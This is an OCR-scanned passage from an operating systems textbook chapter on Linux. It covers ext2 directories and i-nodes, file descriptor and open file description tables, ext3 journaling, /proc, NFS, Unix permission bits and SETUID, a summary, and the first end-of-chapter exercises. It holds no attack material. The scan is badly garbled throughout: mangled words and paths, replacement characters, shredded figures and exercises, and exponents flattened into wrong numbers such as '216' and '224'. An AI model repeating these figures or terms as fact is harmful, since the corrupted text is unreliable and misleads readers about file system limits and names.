The directory file allows file names up to 255 characters and is illustrated in Fig. 10-32. Each directory consists of some integral number of disk blocks so that directories can be written atomically to the disk. Within a directory, entries for files and di�ectori�s are in unsorted order, with each entry directly following the one before It. Entnes may not span disk blocks, so often there are some number of unused bytes at the end of each disk block 

(a) 

Figure 10·32. (a) A Linux directory with three files. (b) The same directory 
after the file voluminous has been removed. 

Each directory entry in Fig. 10-32 consists of four fixed-length fields and one 
variable-length field. The first field is the i-node number, 19 for the file colossal, 
42 for the file voluminous, and 88 for the directory bigdir. Next comes a field 
reclen, telling how big the entry is  (in bytes), possibly including some padding 
after the name. This field is needed to find the next entry for the case that the file 
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name is padded by an unknown length. That is the meaning o f  the arrow in 
Fig. 10-32. Then comes the type field: file, directory, and so o�. Th: last fixed 
field is the lenoth of the actual file name in bytes, 8, 10, and 6 III thIS example. 
Finally, cornes

O
the file name itself, terminated by a 0 byte and padded out to a 

32-bit boundary. Additional padding may follow that. 
In Fig. 1O-32(b) we see the same directory after the entry for voluminous has 

been removed. All that is done is increase the size of the total entry field for 
colossal, turning the former field for voluminous into padding for the first entry. 
This padding can be used for a subsequent entry, of course. 

Since directories are searched linearly, it can take a long time to find an entry 
at the end of a large directory. Therefore, the system maintains a cache of r�centl� 
accessed directories. This cache is searched using the name of the file, and if a hIt 
occurs, the costly linear search is avoided. A dentry object is entered in the den
try cache for each of the path components, and, through its i-node, the di�ectory �s 
searched for the subsequent path element entry, until the actual file I-node IS 
reached. 

For instance, to look up a file specified with an absolute path name, such as 
lusrlastlfile the following steps are required. First, the system locates the root di
rectory, which generally uses i-node 2, especially when i-node 1 is reserved for 
bad block handling. It places an entry in the dentry cache for future lookups of 
the root directory. Then it looks up the string "usr" in the root directory, to get 
the i-node number of the lusr directory, which is also entered in the dentry cache. 
This i-node is then fetched, and the disk blocks are extracted from it, so the lusr 
directory can be read and searched for the string "ast". Once this entry is found, 
the i-node number for the lusrlas! directory can be taken from it. Armed with the 
i-node number of the lusrlast directory, this i-node can be read and the directory 
blocks located. Finally, "file" is looked up and its i-node number found. Thus the 
use of a relative path name is not only more convenient for the user, but it also 
saves a substantial amount of work for the system. 

If the file is present, the system extracts the i-node number and uses it as an 
index into the i-node table (on disk) to locate the corresponding i-node and bring 
it into memory. The i-node is put in the i-node table, a kernel data structure that 
holds aU the i-nodes for currently open files and directories. The format of the i
node entries, as a bare minimum, must contain all the fields returned by the stat 
system call so as to make stat work (see Fig. 10-28). In Fig. 10-33 we show some 
of the fields included in the i-node structure supported by the Linux file system 
layer. The actual i-node structure contains many more fields, since the same struc
ture is also used to represent directories, devices, and other special files. The i
node structure also contains fields reserved for future use. History has shown that 
unused bits do not remain that way for long. 

Let us now see how the system reads a file. Remember that a typical call to 
the library procedure for invoking the read system call looks like this: 

n = ,ead(fd, buffe" nbytes); 
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Field Bytes Description 

Mode 2 File type, protection bits, setuid, setgid bits 

N!inks 2 Number of directory entries pointing to this i-node 

Uid 2 UIO of the file owner 

Gid 2 GID of the file owner 

Size 4 Fi!e size in bytes 

Addr 60 Address of first 1 2  disk blocks, then 3 indirect blocks 

Gen 1 Generation number (incremented every time i-node is reused) 

Atime 4 Time the me was last accessed 

Mtime 4 Time the file was last modified 

Ctime 4 Time the i-node was last changed (except the other times) 

Figure 10-33. Some fields in the i-node structure in Linux: 

When the kernel gets control, aU it has to start with are these three parameters and 
the infonnation in its internal tables relating to the user. One of the items in the in
ternal tables is the file descriptor array. It is indexed by a file descriptor and con
tains one entry for each open file (up to the maximum number, usually defaults to 
32). 

The idea is to start with this file descriptor and end up with the corresponding 
i-node. Let us consider one possible design: just put a pointer to the i-node in the 
file descriptor table. Although simple, unfortunately this method does not work. 
The problem is as follows. Associated with every file descriptor is a file position 
that tells at which byte the next read (or write) will start Where should it go? 
One possibility is to put it in the i-node table. However, this approach fails if two 
or more unrelated processes happen to open the same file at the same time be
cause each one has its own file position. 

A second possibility is to put the file position in the file descriptor table. In 
that way, every process that opens a file gets its own private file position. Unfor
tunately this scheme fails too, but the reasoning is· more subtle and has to do with 
the nature of file sharing in Linux. Consider a shell script, s, consisting of two 
commands, pI and p2, to be run in order. If the shell script is called by the com
mand line 

s >x 

it is expected that pI will write its output to x, and then p2 will. write its output to 
x also, starting at the place where pI stopped. 

When the shell forks off pI, x is initially empty, so pI just starts writing at file 
position O. However, when pI finishes, some mechanism is needed to make sure 
that the initial file position that p2 sees is not 0 (which it would be if the file posi
tion were kept in the file descriptor table), but the value pI ended with, 



790 CASE STUDY I: LlNUX CHAP. 10  

The way this is achieved is shown in Fig. 10-34. The
. trick is .to introduce a new table, the open file description table, between �he f�le descnptor t.ableq 

and 
the i-node table, and put the file position (and readlwnte bIt) there. In thIS fil;>ure, 
the parent is the shell and the child is first pi a�d later p2 .

. 
When the shell forks 

off pJ, its user structure (including the file descnptor tabl�) l� an exact copy of the 
shell's so both of them point to the same open file descnptlOll table entry. Y"�en 
pi finishes, the shell's file descriptor is still pointing to the open file de�cnptlon 
containino-pI's file position. When the shell now forks off p2, the new ChIld

. 
autO

maticaU/
'
inherits the file position, without either it or the shell even havmg to 

know what that position is. 

Open file 
description 

?",ent's { File position 
file RlW 

descriptor 
table 

Chitd's { 
file 

descriptor 
table 

Un<elated { process' 
file 

descriptor 
table 

i-node 

Mode 
Unkcount 

Uid 
Gid 

File size 
Times J Addresses 01 
first 12 

disk blocks 
Single indirect 
Double indirect 
Triple indirect 

indirect 
block 

Pointers to 
disk blocks 

Figure 10-34. The relation between the file descriptor table, the open file 
description table, and the i�node table. 

However, if an unrelated process opens the file, it .gets its o�n open file de
scription entry, with its own file position, which is precIsely what IS needed . . Thus 
the whole point of the open file description table is to aU.ow a �arent and chIld to 
share a file position, but to provide unrelated processes WIth theIr own values. 

Getting back to the problem of doing the read, w.e have �ow shown how the 
file position and i-node are located. The i-node contams the dIsk addresses of the 
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first 12 blocks of the file. If the file position falls in the first 12 blocks, the block 
is read and the data are copied to the user. For files longer than 12 blocks, a field 
in the i-node contains the disk address of a single indirect block, as shown in 
Fig. 10-34. This block contains the disk addresses of more disk blocks. For ex
ample, if a block is 1 KB and a disk address is 4 bytes, the single indirect block 
can hold 256 disk addresses. Thus this scheme works for files of up to 268 KB in 
total. 

Beyond that, a double indirect block is used. It contains the addresses of 
256 single indirect blocks, each of which holds the addresses of 256 data blocks. 
This mechanism is sufficient to handle files up to 10 + 216 blocks (67,1 19,104 
bytes). If even this is not enough, the i-node has space for a triple indirect 
block. Its pointers point to many double indirect blocks. This addressing scheme 
can handle file sizes of 224 1 KB blocks (16 GB). For 8�KB block sizes, the ad� 
dressing scheme can support file sizes up to 64 TB. 

The Linux Ext3 File System 

In order to prevent all data loss after system crashes and power failures, the 
ext2 file system would have to write out each data block to disk as soon as it was 
created. The latency incurred during the required disk head seek operation would 
be so high that the performance would be intolerable. Therefore, writes are 
delayed, and c;hanges may not be committed to disk for up to 30 sec, which is a 
very long time interval in the context of modern computer hardware. 

To improve the robustness of the file system, Linux relies on journaling file 
systems. Ext3, a follow-on of the ext2 file system, is an example of a journaling 
file system. 

The basic idea behind this type of file system is to maintain a journal, which 
describes all file system operations in sequential order. By sequentially writing 
out changes to the file system data or metadata (i-nodes, superblock, etc.), the op
erations do not suffer from the overheads of disk head movement during random 
disk accesses. Eventually, the changes will be written out, committed, to the 
appropriate disk location, and the corresponding journal entries can be discarded. 
If a system crash or power failure occurs before the changes are committed, dur
ing restart the system will detect that the file system was not unmounted properly, 
traverse the journal, and apply the file system changes described in the journal 
log. 

Ext3 is designed to be highly compatible with ext2, and in fact, all core data 
structures and disk layout are the same in both systems. Furthermore, a file system 
which has been unmounted as an ext2 system can be subsequently mounted as an 
ext3 system and offer the journaling capability. 

The journal is a file managed as a circular buffer. The journaJ may be stored 
on the same or a separate device from the main file system. Since the journal op
erations are not "journaled" themselves, these are not handled by the same ext3 
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file system. Instead, a separate J�D (Journaling Block Device) is used to per-
fonn the journal read/write operattons. . '  

JBD supports three main data structures: log record, atOJnlC operatIO� handl:, 
and transaction. A log record describes a low-level file system operatIon: tY?l
cally resulting in changes within a block. Sin�e 

.
a sy�tem call such as wnte In

cludes changes at multiple places-i-nodes, eXIstmg file bl�cks, ne� file bl�cks, 
list of free blocks, etc.-related log records are grouped m. atomIC operatIons. 
Ext3 notifies JED of the start and end of a system call processmg, �o that JBD can 
ensure that either all log records in an atomic operation are applr�d, or none �f 
them. Finally, primarily for efficiency reasons, JED treats. collect�o�s of atomIC 
operations as transactions. Log recor�s are stored conse.cuttvely wIthm a transac-
t· lBD will allow portions of the Journal file to be dIscarded only after all log Ion. . 

d· k records belonginQ to a transaction are safely commItted to IS • 
Since writin; out a log entry for each disk change may be costly, ext3 may be 

configured to keep a journal of all disk changes, o� only of changes relat�d to the 
file system metadata (the i-nodes, superblocks, bItmaps, etc.). Journalmg only 
metadata gives less system overhead and results in better performanc� but d?es 
not make any guarantees against corruption of fil� data. Severa� other Journabng 
file systems maintain logs of only metadata operattons (e.g., SOl s XFS). 

The /proc File System 

Another Linux file system is the /proc (process) file system, an idea originally 
devised in the 8th edition of UNIX from Bell Labs and later copied in �.4BSD a�d 
System V. However, Linux extends the idea in several way�. The baSIC concept IS 
that for every process in the system, a directory is created m Iproc. The name of 
the directory is the process PID expressed as a decimal number. For exa�pl�, 
/, roc/6J9 is the directory corresponding to the process with PID 619. In thIS �I!ectOry are files that appear to contain information about the process, such as Its 
command line environment strings, and signal masks. In fact, these fiJ�s do not 
exist on the di�k. When they are read, the system retrieves the informatIon from 
the actual process as needed and returns it in a standard forma�. . . 

Many of the Linux extensions relate to other files and dlrecto�es loca��d III 
/proc. They contain a wide variety of information about the CPU, dISk partltlOnS, 
devices, interrupt vectors, kernel counters, file systems, 10ad�d 

. 
module�, and 

much more. Unprivileged user programs may read much of thIS mforrna
.
tlon to 

learn about system behavior in a safe way. Some of these files may be wntten to 
in order to change system parameters. 

10.6.4 NFS: The Network File System 

Networking has played a major role in Linux, and UNIX in general, right from 
the beginning (the first UNIX network was built to move new ke�els fr?ID the 
PDpH 1 1170 to the Interdata 8/32 during the port to the latter). In thIS section we 
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will examine Sun Microsystem's NFS (Network File System), which is used on 
all modern Linux systems to join the file systems on separate computers into one 
logical whole. Currently. the dominant NSF implementation is version 3, introM 
duced in 1994. NSFv4 was introduced in 2000 and provides several enhance
ments over the previous NFS architecture. Three aspects of NFS are of interest: 
the architecture, the .protocol, and the implementation. We will now examine 
these in turn, first in the context of the simpler NFS version 3, then we will briefly 
discuss the enhancements included in v4. 

NFS Architecture 

The basic idea behind NFS is to allow an arbitrary collection of clients and 
servers to share a common file system. In many cases, all the clients and servers 
are on the same LAN, but this is not required. It is also possible to run NFS over 
a wide area network if the server is far from the client. For simplicity we will 
speak of clients and servers as though they were on distinct machines, but in fact, 
NFS allows every machine to be both a client and a server at the same time. 

Each NFS server exports one or more of its directories for access by remote 
clients. When a directory is made available, so are all of its subdirectories, so in 
fact, entire directory trees are normally exported as a unit The list of dire.ctories a 
server exports is maintained in a file, often letclexports, so these directories can 
be exported automatically whenever the server is booted. Clients access exported 
directories by mounting them. When a client mounts a (remote) directory, it be
comes part of its directory hierarchy, as shown in Fig. IO�35. 

In this example, client 1 has mounted the bin directory of server 1 on its own 
bin directory, so it can now refer to the shell as Ibinlsh and get the shell on server 
1 .  Diskless workstations often have only a skeleton file system (in RAM) and get 
all their files from remote servers like this. Similarly, client 1 has mounted server 
2's directory Iprojects on its directory lusrlastlwork so it can now access file a as 
lusrlastlworkiprojJla. Finally, client 2 has also mounted the projects directory 
and can also access file a, only as Imnt/projJ/a. As seen here, the same file can 
have different names on different clients due to its being mounted in a different 
place in the respective trees. The mount point is entirely local to the clients; the 
server does not know where it is mounted on any of its clients. 

NFS Protocols 

Since one of the goals of NFS is to support a heterogeneous system, with cli
ents and servers possibly running different operating systems on different hard
ware, it is essential that the interface between the clients and servers be well de
fined. Only then is i t  possible for anyone to be able to write a new client imple
mentation and expect it to work correctly with existing servers, and vice versa. 
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!bin 

� cat cp Is mv sh 

Server 1 

C!ient2 

, , , , 

Server 2 

CHAP. 10 

Mount 

Figure 10-35. Examples of remote mounted file systems. Directories are shown 
as squares and files are shown as circles. 

NFS accomplishes this goal by defining two client-serve� protocols. A pro�o

col is a set of requests sent by clients to servers, along WIth the correspondmg 

replies sent by the servers back to the clients. 

The first NFS protocol handles mounting. A client can send a �at.h na�e to a 

server and request permission to mount that directory som.ewh�re In Its dIrectory 

hierarchy. The place where it is to be mounted is not contamed In the �essage, as 

the server does not care where it is to be mounted. If the path name IS legal and 

the directory specified has been exported, the server returns a file handle to the 

client. The file handle contains fields uniquely identifying the fIle system type, the 

disk, the i�node number of the directory, and security inforrna�ion. Su
.
bsequ�nt 

calls to read and write files in the mounted directory or any of Its subdirectones 

use the file handle. 
When Linux boots, it runs the !etclrc shell script before going multiuser. 

Commands to mount remote file systems can be placed in this script, thus auto

matically mounting the necessary remote file systems before all?wing a�y logins. 

Alternatively, most versions of Linux also s�pport �utomountJ�g. ThIS feature 

allows a set of remote directories to be assocIated wlth a local dIrectory. None of 

these remote directories are mounted (or their servers even contacted) when the 

client is booted. Instead, the first time a remote file is opened, the operating sys

tem sends a message to each of the servers. The first one to reply wins, and its di

rectory is mounted. 
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Automounting has two principal advantages over static mounting via the 
letclrc file. First, if one of the NFS servers named in letclrc happens to be down, 
it is impossible to bring the client up, at least not without some difficulty, delay, 
and quite a few error messages. If the user does not even need that server at the 
moment, all that work is wasted. Second, by allowing the client to try a set of ser
vers in parallel, a degree of fault tolerance can be achieved (because only one of 
them needs to be up), and the performance can be improved (by choosing the first 
one to reply-presumably the least heavily loaded). 

On the other hand, it is tacitly assumed that all the file systems specified as al
ternatives for the automount are identicaL Since NFS provides no support for file 
or directory replication, it is up to the user to arrange for all the file systems to be 
the same. Consequently, automounting is most often used for read-only file sys
tems containing system binaries and other files that rarely change. 

The second NFS protocol is for directory and file access. Clients can send 
messages to servers to manipulate directories and read and write files. They can 
also access file attributes, such as file mode, size, and time of last modification. 
Most Linux system calls are supported by NFS, with the perhaps surprising ex
ceptions of open and close. 

The omission of open and close is not an accident. It is fully intentionaL It is 
not necessary to open a file before reading it, nor to close it when done. Instead, to 
read a file, a client sends the server a lookup message containing the 

-
file name, 

with a request to look it up and return a file handle, which is a structure that iden
tifies the file (i.e., contains a file system identifier and i-node number, among
other data). Unlike an open call, this lookup operation does not copy any infor
mation into internal system tables. The read call contains the file handle of the 
file to read, the offset in the file to begin reading, and the number of bytes desired. 
Each such message is self-contained. The advantage of this scheme is that the 
server does not have to remember anything about open connections in between 
calls to it Thus if a server crashes and then recovers, no information about open 
files is lost, because there is nOQ-e. A server like this that does not maintain state 
infonnation about open files is said to be stateless. 

Unfortunately, the NFS method makes it difficult to achieve the exact Linux 
file semantics. For example, in Linux a file can be opened and locked so that 
other processes cannot access it. When the file is closed, the locks are released. 
In a stateless server such as NFS, locks cannot be associated with open files, be
cause the server does not know which files are open. NFS therefore needs a sepa
rate, additional mechanism to handle locking. 

NFS uses the standard UNIX protection mechanism, with the nvx bits for the 
owner, group, and others (mentioned in Chap. I and discussed in detail below). 
Originally, each request message simply contained the user and group IDs of the 
caller, which the NFS server used to validate the access. In effect, it trusted the 
clients not to cheat. Several years' experience abundantly demonstrated that such 
an assumption was-how shall we put it?-rather naive. Currently, public key 
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cryptography can be used to establish a secure key for validating the client and 
server on each request and reply. When this option is used, a malicious client can
not impersonate another client because it does not know that client's secret key. 

NFS Implementation 

Although the implementation of the client and server code is independent of 
the NFS protocols, most Linux systems use a three-layer implementation similar 
to that of Fig. 10-36. The top layer is the system call layer. This handles calls like 
open, read, and close. After parsing the call and checking the parameters, it 
invokes the second layer, the Virtual File System (VFS) layer. 

Client kernel 

System cal! layer 

Virtual file system layer 

Buffer cache 

Local disks 

� -T- -Js � 

Figure 10·36. The NFS layer structure 

SeNer kernel 

Local disks 

The task of the VFS layer is to maintain a table with one entry for each open 
file. The VFS layer has an entry, a virtual i�node, or v-node, for every open file. 
V -nodes are used to tell whether the file is local or remote. For remote flIes, 
enough information is provided to be able to access them. For local files, the file 
system and i-node are recorded because modem Linux systems can support multi
ple file systems (e.g., ext2fs, Iproc, FAT, etc.). Although VFS was invented to 
support NFS, most modem Linux systems now support it as an integral part of the 
operating system, even if NFS is not used. 

To see how v-nodes are used, let us trace a sequence of mount, open, and 
read system calls. To mount a remote file system, the system administrator (or 
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letc!rc) calls the mount program specifying the remote directory, the local direc
tory on which it is to be mounted, and other information. The mount program 
parses the name of the remote directory to be mounted and discovers the name of 
the NFS server on which the remote directory is located. It then contacts that ma
chine, asking for a file handle for the remote directory. If the directory exists and 
is
. 
availa?le for remote. mounting, the server returns a file handle for the directory. 

Fmally, It makes a mount system call, passing the handle to the kernel. 
The kernel then constructs a v-node for the remote directory and asks the NFS 

client code in Fig. 10-36 to create an r�node (remote i-node) in its internal tables 
to hold the file handle. The v-node points to the r-node. Each v-node in the VFS 
layer will ultimately contain either a pointer to an r-node in the NFS client code, 
or a pointer to an i-node in one of the local file systems (shown as dashed lines in 
Fig. 10-36). Thus from the v-node it is possible to see if a file or directory is local 
or remote. If it is local, the correct file system and i-node can be located. If it is 
remote, the remote host and file handle can be located. 

When a remote file is opened on the client, at some point during the parsing 
of the path name, the kernel hits the directory on which the remote file system is 
mounted. It sees that this directory is remote and in the directory's v-node finds 
the pointer to the r-node. It then asks the NFS client code to open the file. The 
NFS client code looks up the remaining portion of the path name on the remote 
server associated with the mounted directory and gets back a file handle fbr it. It 
makes an r-node for the remote ftle in its tables and reports back to the VFS layer, 
which puts in its tables a v-node for the file that points to the r-node. Again here 
we see that every open file or directory has a v-node that points to either an r-node 
or an i-node. 

The caller is given a file descriptor for the remote file. This file descriptor is 
mapped onto the v-node by tables in the VFS layer. Note that no table entries are 
made on the server side. Although the server is prepared to provide file handles 
upon request, it does not keep track of which files happen to have file handles out
standing and which do not. When a file handle is sent to it for file access, it 
checks the handle, and if it is valid, uses it. Validation can include verifying an 
authentication key contained in the RPC headers, if security is enabled. 

When the file descriptor is used in a subsequent system call, for example, 
read, the VFS layer locates the corresponding v-node, and from that determines 
whether it is local or remote and also which i-node or r-node describes it. It then 
sends a message to the server containing the handle, the file offset (which is main
tained on the client side, not the server side), and the byte count. For efficiency 
reasons, transfers between client and server are done in large Ghunks, nonnally 
8192 bytes, even if fewer bytes are requested. 

When the request message arrives at the server, it is passed to the VFS layer 
there, which detennines which local file system holds the requested file. The VFS 
layer then makes a call to that local file system to read and return the bytes. These 
data are then passed back to the client. After the client's VFS layer has gotten the 
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10.7 SECURITY IN LINUX 

Linux, as a clone of MINIX and UNIX, has been a multiuser system almost 
from the beginning, This history means that security and control of information 
was built in very early on. In the following sections, we wil1 100k at some of the 
security aspects of Linux, 
10,7.1 Fuudamental Concepts 

The user community for a Linux system consists of some number of regis
tered users, each of whom has a unique DID (User ID). A UID is an integer be
tween 0 and 65,535. Files (but also processes and other resources) are marked 
with the UID of their owner. By default, the owner of a file is the person who 
created the file, although there is a way to change ownership. 

Users can be organized into groups, which are also numbered with 16¥bit inte
gers called GIDs (Group IDs), Assigning users to groups is done manually (by 
the system administrator) and consists of making entries in a system database teI¥ 
ling which user is in which group. A user could be in one or more groups at the 
same time. For simplicity, we will not discuss this feature further. 

The basic security mechanism in Linux is simple. Each process carries the 
UID and GID of its owner, When a file is created, it gets the UID and GIQ of the 
creating process. The file also gets a set of pennissions determined by the creating 
process, These pennissions specify what access the owner, the other members of 
the owner's group, and the rest of the users have to the file. For each of these 
three categories, potential accesses are read, write, and execute, designated by the 
letters T, W, and x, respectively. The ability to execute a file makes sense only if 
that file is an executable binary program, of course. An attempt to execute a file 
that has execute permission but which is not executable (i.e., does not start with a 
valid header) wi1l fail with an error. Since there are three categories of users and 3 
bits per category, 9 bits are sufficient to represent the access rights. Some ex
amples of these 9¥bit numbers and their meanings are given in Fig. 10-37. 

Binary Symbolic A llowed file accesses 

1 1 1 000000 rwx------ Owner can read, write, and execute 

1 1 1 1 1 1000 rwxrwx--- Owner and group can read, write, and execute 

1 10100000 rw-r----- Owner can read and write; group can read 

1 10100100 rw-r--r-- Owner can read and write; all others can read 

1 1 1 101 1 01 rwxr-xr-x Owner can do everything, rest can read and execute 

000000000 --------- Nobody has any access 

0000001 11 ------rwx Only outsiders have access (strange, but legal) 

Figure 10�37. Some example fife protection modes, 
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The first two entries in Fig. 10-37 are clear, allowing the owner and the 
owner's group full access, respectively. The next one allows the owner's group to 
read the file but not to change it, and prevents outsiders from any access. The 
fourth entry is common for a data file the owner wants to make public. Similarly) 
the fifth entry is the usual one for a publicly available program. The sixth entry 
denies all access to all users. This mode is sometimes used for dummy files used 
for mutual exclusion because an attempt to create such a file will fail if one al
ready exists. Thus if multiple processes simultaneously attempt to create sllch a 
file as a lock, only one of them will succeed. The last example is strange indeed, 
since it gives the rest of the world more access than the owner. However, its 
existence follows from the protection rules. Fortunately, there is a way for the 
owner to subsequently change the protection mode, even without having any 
access to the file itself. 

The user with UID 0 is special and is called the superuser (or root). The 
superuser has the power to read and write all files in the system, no matter who 
owns them and no matter how they are protected. Processes with UID 0 also have 
the ability to make a small number of protected system cans denied to ordinary 
users. Normally, only the system administrator knows the superuser's password, 
although many undergraduates consider it a great sport to try to look for security 
flaws in the system so they can log in as the superuser without knowing the pass
word. Management tends to frown on such activity. 

Directories are files and have the same protection modes that ordinary files do 
except that the x bits refer to search permission instead of execute pennission. 
Thus a directory with mode rwxr-xr-x allows its owner to read, modify, and 
search the directory, but allows others only to read and search it, but not add or re
move files from it. 

Special files corresponding to the I/O devices have the same protection bits as 
regular files. This mechanism can be used to limit access to I/O devices. For ex
ample, the printer special file, /dev/lp, could be owned by the root or by a special 
user, daemon, and have mode rw------- to keep everyone else from directly 
accessing the printer. After all, if everyone could just print at will, chaos would 
result. 

Of course, having Idevllp owned by, say, daemon with protection mode rw- - - - - - - means that nobody else can use the printer. While this would save 
many innocent trees from an early death, sometimes users do have a legitimate 
need to print something. In fact, there is a more general problem of allowing con
trolled access to all I/O devices and other system resources. 

This problem was solved by adding a new protection bit, the SETUID bit to 
the 9 protection bits discussed above. When a program with the SETUID bit on is 
executed, the effective DID for that process becomes the UID of the executable 
file's owner instead of the UID of the USer who invoked it. When a process at
tempts to open a file, it is the effective UID that is checked, not the underlying 
real DID. By making the program that accesses the printer be owned by daemon 
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but with the SETUID bit on, any user could execute it, and have the power of dae
m?n �e.g., acce.ss 

.
to �dev/lp) but only to run that program (which might queue 

pnnt Jobs for pnntmg m an orderly fashion). 
Many sensitive Linux programs are owned by the root but with the SETUID 

bit On. For example, the program that allows users to change their passwords, 
pas.swd, needs to write in the password file. Making the password file publicly 
wntable would �ot be a good idea. Instead, there is a program that is owned by 
the root and WhICh has the SETUID bit on. Although the program has complete 
ac.cess to the password file, it will only change the caller's password and not per
mIt any other access to the password file. 

In addition to the SETUID bit there is also a SETGID bit that works analo� 
gously, temporarily giving the user the effective GID of the proO"ram. In practice, 
this bit is rarely used, however. . 

0 

10.7.2 Security System Calls iu Linux 

. 
There are only a small number of system calls relating to security. The most 

lmp�rtant ones a:e listed in Fig. 10-38. The most heavily used security system 
call IS chmod. It IS used to change the protection mode. For example, 

s = chmod("/usr/asVnewgame", 0755); 

sets newgame to nvxr-xr-x so that everyone can run it (note that 0755 is an octal 
constant, which is convenient, since the protection bits come in groups of 3 bits). 
Only the owner of a file and the superuser can change its protection bits. 

System call Description 

s _ chmod(path, mode) Change a file's protection mode 
s - access(path, mode) Check access using the real UIO and GIO 
uid getuid( ) Get the real UIO 
uid _ geteuid( ) Get the effective UIO 
gid getg;d( ) Get the rea! GIO 
gid _ getegid( ) Get the effective GIO 
s "" chown(path, owner, group) Change owner and group 
s seWid(uid) Set the UIO 
s "" setgid(gid) Set the GIO 

Figure 10-38. Some system calls relating to security. The return code s is -1 if 
an error has occurred; uid and gid are the UID and GID, respectively. The pa
rameters should be self explanatory. 

The access call tests to see if a particular access would be allowed using the 
real UID and OlD. This system call is needed to avoid security breaches in 
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rograms that are SETUID and owned by the root. Such a pr�gram can.do any

fhing and it is sometimes needed for the program to figure out If the user IS allow

ed to' perform a certain access. The program cannot just try it, becaus.e the accesS 

will a1ways sllcceed. With the access call the program can find out If the access 

is allowed by. the real UID and real GID. . 
The next four system calls return the real and effectlve UIDs and GIDs. The 

last three are only allowed for the superuser. They change a file's owner, and a 

process' UID and GID. 

10.7.3 Implementation of Security in Linux 

When a user logs in, the login program, login (which is SETUID root� asks 

for a login name and a password. It hashes the password and then looks m the 

assword file, letdpasswd, to see if the hash matches the one t�ere (networked 

�ystems work slightly differently). The reason for using has.hes IS to prevent the 

password from being stored in unencrypted �onn anywhere III the system. If the 

assword is correct, the login program looks III letc!passwd to see the name of the �ser's preferred shell, possibly bash, but possibly some o.ther. shell such as, csh or 

ksk. The login program then uses setuid and setgid to gIve. 
Itself the user s UID 

and GID (remember, it started out as SETUID root). Then It opens the keyb.oard 

for standard input (file descriptor 0), the screen for standard output (file descnptor 

1), and the screen for standard error (file descriptor 2). Finally, it executes the 

preferred shell, thus terminating itself. . . . 
At this point the preferred shell is runnmg WIth the correct UID and OlD and 

standard input, output, and error all set to their default de:vices. �ll p�ocesses th�t 
it forks off (i.e., commands typed by the user) automatically mhent the shell s 

UID and GID, so they also will have the correct owner and group. All files they 

create also ITet these values. 
When :ny process attempts to open a file, the system first checks �e protec-

tion bits in the me's i-node against the caller's effective UID and effectlv� OID to 

see if the access is permitted. If so, the file is opened and a file descnptor re

turned. If not, the file is not opened and -1 is returned. No ch.ecks are made on 

subsequent read or write calls. As a consequence, if the protectIon mode changes 

after a file is already open, the new mode will not affect processes that already 

have the file open. . '  
The Linux security model and its implementatIOn are essen.tIally the same as 

in most other traditional UNIX systems. 

10.8 SUMMARY 

Linux began its life as an open-source, full production UNIX clone, and is 
now used on machines ranging from notebook computers to supercomputers. 
Three main interfaces to it exist: the shell, the C library, and the system calls 
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themselves. In addition, a graphical user interface is often used to simplify user 
interaction with the system. The shell allows users to type commands for execu
tion. These may be simple commands, pipelines, or more complex structures. 
Input and output may be redirected. The C library contains the system calls and 
also many enhanced calls, such as print/for writing formatted output to files. The 
actual system call interface is architecture dependent, and on x86 platforms con
sists of approximately 250 calls, each of which does what is needed and no more. 

The key concepts in Linux include the process, the memory model, I/O, and 
the file system. Processes may fork off subprocesses, leading to a tree of proc
esses. Process management in Linux is different compared to other UNIX sys
tems in that Linux views each execution entity-a Single-threaded process, or 
each thread within a multithreaded process or the kernel-as a distinguishable 
task. A process, or a single task in general, is then represented via two key com
ponents, the task structure and the additional information describing the user ad
dress space. The fonner is always in memory, but the latter data can be paged in 
and out of memory. Process creation is done by duplicating the process task 
structure, and then setting the memory image information to point to the parents' 
memory image. Actual copies of the memory image pages are created only if 
sharing is not allowed and a memory modification is required. This mechanism is 
called copy on write. Scheduling is done using a priority-based algorithm that 
favors interactive processes. • 

The memory model consists of three segments per process: text, data, and 
stack. Memory management is done by paging. An in-memory map keeps track 
of the state of each page, and the page daemon uses a modified dual-hand clock 
algorithm to keep enough free pages around. 

IIO devices are accessed using special files, each of which has a major device 
number and a minor device number. Block device I/O uses a the main memory to 
cache disk blocks and reduce the number of disk accesses. Character IIO can be 
done in raw mode, or character streams can be modified via line disciplines. Net
working devices are treated somewhat differently, by associating entire network 
protocol modules to process the network packets stream to and from the user 
process. 

The file system is hierarchical with files and directories. All disks are mount
ed into a single directory tree starting at a unique root. Individual files can be 
linked into a directory from elsewhere in the file system. To use a file, it must be 
first opened, which yields a file descriptor for use in reading and writing the file. 
Internally, the file system uses three main tables: the file descriptor table, the open 
file description table, and the i-node table. The i-node table)s.the most important 
of these, containing all the administrative information about a file and the location 
of its blocks. Directories and devices are also represented as files, along with 
other special files. 

Protection is based on controlling read, write, and execute access for the own
er, group, and others. For directories, the execute bit means search permission. 
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PROBLEMS 

1. When the kernel catches a system call, how does it know which system call it is sup
posed to carry out? 

2. A directory contains the following files: 
aardvark feret koala 
bonefish grunion llama 
capybara hyena marmot 
dingo ibex nuthatch 
emu jellyfish ostrich 

Which files will be listed by the command 
Is [abcj*e*? 

3. What does the following Linux shell pipeline do? 
grep nd xyz I we -1 

4. A user at a terminal types the following commands: 
a l b  1 c & 
d i e  I f &  

porpoise unicorn 
quacker vicuna 
rabbit weasel 
seahorse yak 
tuna zebu 

. ? After the shell has processed them, how many new processes are runnmg. 
5. When the Linux shell starts up a process, it puts copies of its environ�ent varia?les, 

such as HOME, on the process' stack, so the process can find out. what Its home dlre�� 
tory is. If this process should later fork, will the child automatically get these van� 
abIes too? 

6. As multi-megabyte programs became more common, the time sP
I.
ent executing t�e

p
f��k 

system call and copying the data and stack segments of the cal mg proc�ss gre , � 
portionally, When fork is executed in Linux, the parent' s �ddress space IS no� COPIed, 
as traditional fork semantics would dictate. How does Lmux prevent the child from 

k . ?  doing something that would completely change the for semantlcs, 
7. A non-real-time Linux process has priority levels from 100 to 139. What is the default 

static priority and how is the nice value used to change this? 
h 't t rs zombie state? 8. Does it make sense to take away a process' memory w en 1 en e . 

Why or why not? 
9. To what hardware concept is a signal closely related? Give two examples of how sig

nals are used. 
10. Why do you think the designers of Linux made it impossible for a process to send a 

signal to another process that is not in its process group? 
11. A system call is usually implemented using a software interrupt (trap 

d
) ins�u��iO�, 

Could an ordinary procedure call be used as well on the Pentium har ware. s , 
under what conditions and how? If not, why not? 
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12. In general, do you think daemons have higher priority or lower priority than interac
tive processes? Why? 

13. When a new process is forked off, it must be assigned a unique integer as its PID. Is it 
sufficient to have a counter in the kernel that is incremented on each process creation, 
with the counter used as the new PID? Discuss your answer. 

14. What combination' of the sharing_flags bits used by the Linux clone command 
